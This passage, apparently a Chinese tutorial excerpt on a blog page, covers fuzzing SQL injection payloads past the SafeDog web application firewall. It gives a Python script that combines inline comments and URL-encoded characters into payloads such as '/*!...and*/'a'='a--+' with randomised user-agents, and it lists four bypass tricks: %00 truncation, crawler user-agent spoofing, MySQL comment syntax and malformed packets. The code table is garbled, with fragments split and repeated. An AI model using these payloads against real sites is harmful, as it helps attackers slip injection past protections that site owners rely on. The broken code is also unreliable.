绕过安全狗优化

8.2节中,我们已经完成模糊测试绕过安全狗脚本,其中仅仅对数字进行了模 糊处理,如此已经能够产生许多绕过安全狗的方法,如果需要更多的绕过安全狗 方法,可在此脚本的基础上进行修改,完善此脚本。

完善的思路是从脚本本身的参数值和ua值进行增加,比如在原有ua的基础 上,列举多种ua进行迭代,然后对参数本身可以采用多重套用的方式:

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---|------------------------|
| def fuzzexp(url) : fuzzing_x = [ '/* ', '*/ ', '/* ! ', '* ', '= ', '` ', ' ! ', '@ ', '% ', '+ ', ' | ', '%00 '] fuzzing_y = [ ' ', ' '] fuzzing_z = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0i", "%0j"] fuzz = fuzzing_x + fuzzing_y + fuzzing_z ua = UserAgent() headers = ua .firefox for a in fuzz: for b in fuzz: for c in fuzz: for d in fuzz: exp = "/* !" + a + b + c + d + "and*/ 'a '= 'a--+" || ' ' ' ' - . , , "%0h", |
| 将fuzz的相关内联注释语句放入数组中: |||
| fuzzing_x = [ '/* ', '*/ ', '/* ! '+ ', ' | ', '%00 '] fuzzing_y = [ ' ', ' ' fuzzing_z = ["%0a", "%0b" "%0i", "%0j"] fuzz = fuzzing_x + fuzzing_y + fuzzing_z | '@ ', '% ', ' . ', '- ', "%0f", "%0g", "%0h", ||
| 优化ua的随机化,可以使用fake-useragent实现: |||
| ua = UserAgent() headers = ua .firefox |||
| 将先前放入数组中的内联注释符号取出并拼接到一起: |||
| for a in fuzz: for b in fuzz: for c in fuzz: for d in fuzz: exp = "/* !" + a + b + c + d + "and*/ 'a '= 'a--+" |||

如此便完成了脚本的基本优化,增加了更多的组合性,可以测试出更多绕过

安全狗的脚本。通过多种联合注释符号组合来有效地绕过安全狗,发挥组合的优 势,将更有可能成功。

常见的绕过安全狗的方式有4种:利用string绕过、利用user-agent绕过、利用 MySQL语法和html的特殊性绕过、利用畸形数据包绕过。下面分别介绍。

1.利用string的绕过

C语言在使用string等结构存储请求时,当进行解码时,%00会被识别替换为 NULL ,这样便导致了请求包的内容会被在构造后截断。例如:

str=1%00%20and%20a=a

当后端的校验存储使用了string等结构后,上述请求会被解析截断为str=1 ,从 而绕过监测。

2.利用user-agent绕过

在WAF应用程序进行防护的时候,一部分防护厂商会对某些user-agent进行特 殊放行,例如百度爬虫的user-agent 。测试时可以利用这部分特殊性绕过安全狗。

3.利用MySQL语法和HTML的特殊性绕过

利用MySQL的语法特性,"/*"和"*/" 中间的内容将会被视为注释而不进行操 作。例如,"9.0union"监测到参数为浮点数时语句结束,被当作空格执行。结合 HTML的写法,如url编码后的%20表示空格等思路进行绕过。

4.畸形数据包绕过

利用Apache对于HTTP数据包的兼容性以及对防护软件的不兼容性来绕过 WAF。

相关推荐
DKPT17 分钟前
Java设计模式之行为型模式(责任链模式)介绍与说明
java·笔记·学习·观察者模式·设计模式
崔高杰43 分钟前
微调性能赶不上提示工程怎么办?Can Gradient Descent Simulate Prompting?——论文阅读笔记
论文阅读·人工智能·笔记·语言模型
KhalilRuan1 小时前
Unity Demo——3D平台跳跃游戏笔记
笔记·游戏·unity·游戏引擎
MUTA️3 小时前
《MAE: Masked Autoencoders Are Scalable Vision Learners》论文精读笔记
人工智能·笔记·深度学习·transformer
使一颗心免于哀伤4 小时前
《设计模式之禅》笔记摘录 - 6.原型模式
笔记·设计模式
刘孬孬沉迷学习4 小时前
5G标准学习笔记15 --CSI-RS测量
网络·笔记·学习·5g·信息与通信·信号处理
给自己记录用4 小时前
qt笔记(1)——Qtablewidget使用
笔记·qt
飞升不如收破烂~4 小时前
英语学习笔记2.0
笔记·学习
金色光环5 小时前
概率论:理解区间估计【超详细笔记】
笔记·数学·概率论·数理统计·区间估计
大佐不会说日语~5 小时前
JVM垃圾回收机制面试笔记
jvm·笔记·面试